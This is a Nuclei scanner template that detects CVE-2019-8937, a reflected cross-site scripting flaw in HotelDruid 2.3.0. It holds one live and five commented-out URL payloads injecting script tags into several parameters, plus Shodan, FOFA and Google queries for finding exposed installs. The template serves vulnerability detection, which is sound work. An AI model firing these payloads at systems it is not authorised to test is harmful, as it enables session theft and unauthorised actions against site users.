id: CVE-2019-8937

info:
  name: HotelDruid 2.3.0 - Cross-Site Scripting
  author: LogicalHunter
  severity: medium
  description: HotelDruid 2.3.0 contains a cross-site scripting vulnerability affecting nsextt, cambia1, mese_fine, origine, and anno parameters in creaprezzi.php, tabella3.php, personalizza.php, and visualizza_tabelle.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to a patched version of HotelDruid or apply appropriate input sanitization to prevent XSS attacks.
  reference:
    - https://www.exploit-db.com/exploits/46429
    - https://sourceforge.net/projects/hoteldruid/
    - http://packetstormsecurity.com/files/151779/HotelDruid-2.3-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-8937
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-8937
    cwe-id: CWE-79
    epss-score: 0.1068
    epss-percentile: 0.95239
    cpe: cpe:2.3:a:digitaldruid:hoteldruid:2.3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: digitaldruid
    product: hoteldruid
    shodan-query:
      - http.title:"hoteldruid"
      - http.favicon.hash:-1521640213
    fofa-query:
      - title="hoteldruid"
      - icon_hash=-1521640213
    google-query: intitle:"hoteldruid"
  tags: cve2019,cve,packetstorm,xss,hoteldruid,edb,digitaldruid,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/hoteldruid/visualizza_tabelle.php?anno=2019&id_sessione=&tipo_tabella=prenotazioni&subtotale_selezionate=1&num_cambia_pren=1&cerca_id_passati=1&cambia1=3134671%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      # - '{{BaseURL}}/hoteldruid/visualizza_tabelle.php?nsextt=x"><script>alert(document.domain)</script>'
      # - '{{BaseURL}}/hoteldruid/visualizza_tabelle.php?anno=2019&id_sessione=&tipo_tabella=periodi&mese_fine=13"><script>alert(document.domain)</script>'
      # - '{{BaseURL}}/hoteldruid/personalizza.php?anno=2019&id_sessione=&aggiorna_qualcosa=SI&cambianumerotariffe=1&nuovo_numero_tariffe=8&origine=./creaprezzi.php"><script>alert(document.domain)</script>'
      # - '{{BaseURL}}/hoteldruid/tabella3.php?id_sessione=&mese=01&tutti_mesi=1&anno=2019"><script>alert(document.domain)</script>'
      # - '{{BaseURL}}/hoteldruid/creaprezzi.php?anno=2019&id_sessione=&ins_rapido_costo=SI&tipocostoagg=perm_min&origine=crearegole.php"><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"</script><script>alert(document.domain)</script>"><input'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c41434acb5bc6b779d4c974f6703811538fed2a702d204fef58b8b258870da5b022027b194343e890f359ddfa5ed7850d5be1e2571591c6d2ddb79dbb914d86b2e2c:922c64590222798bb761d5b6d8e72950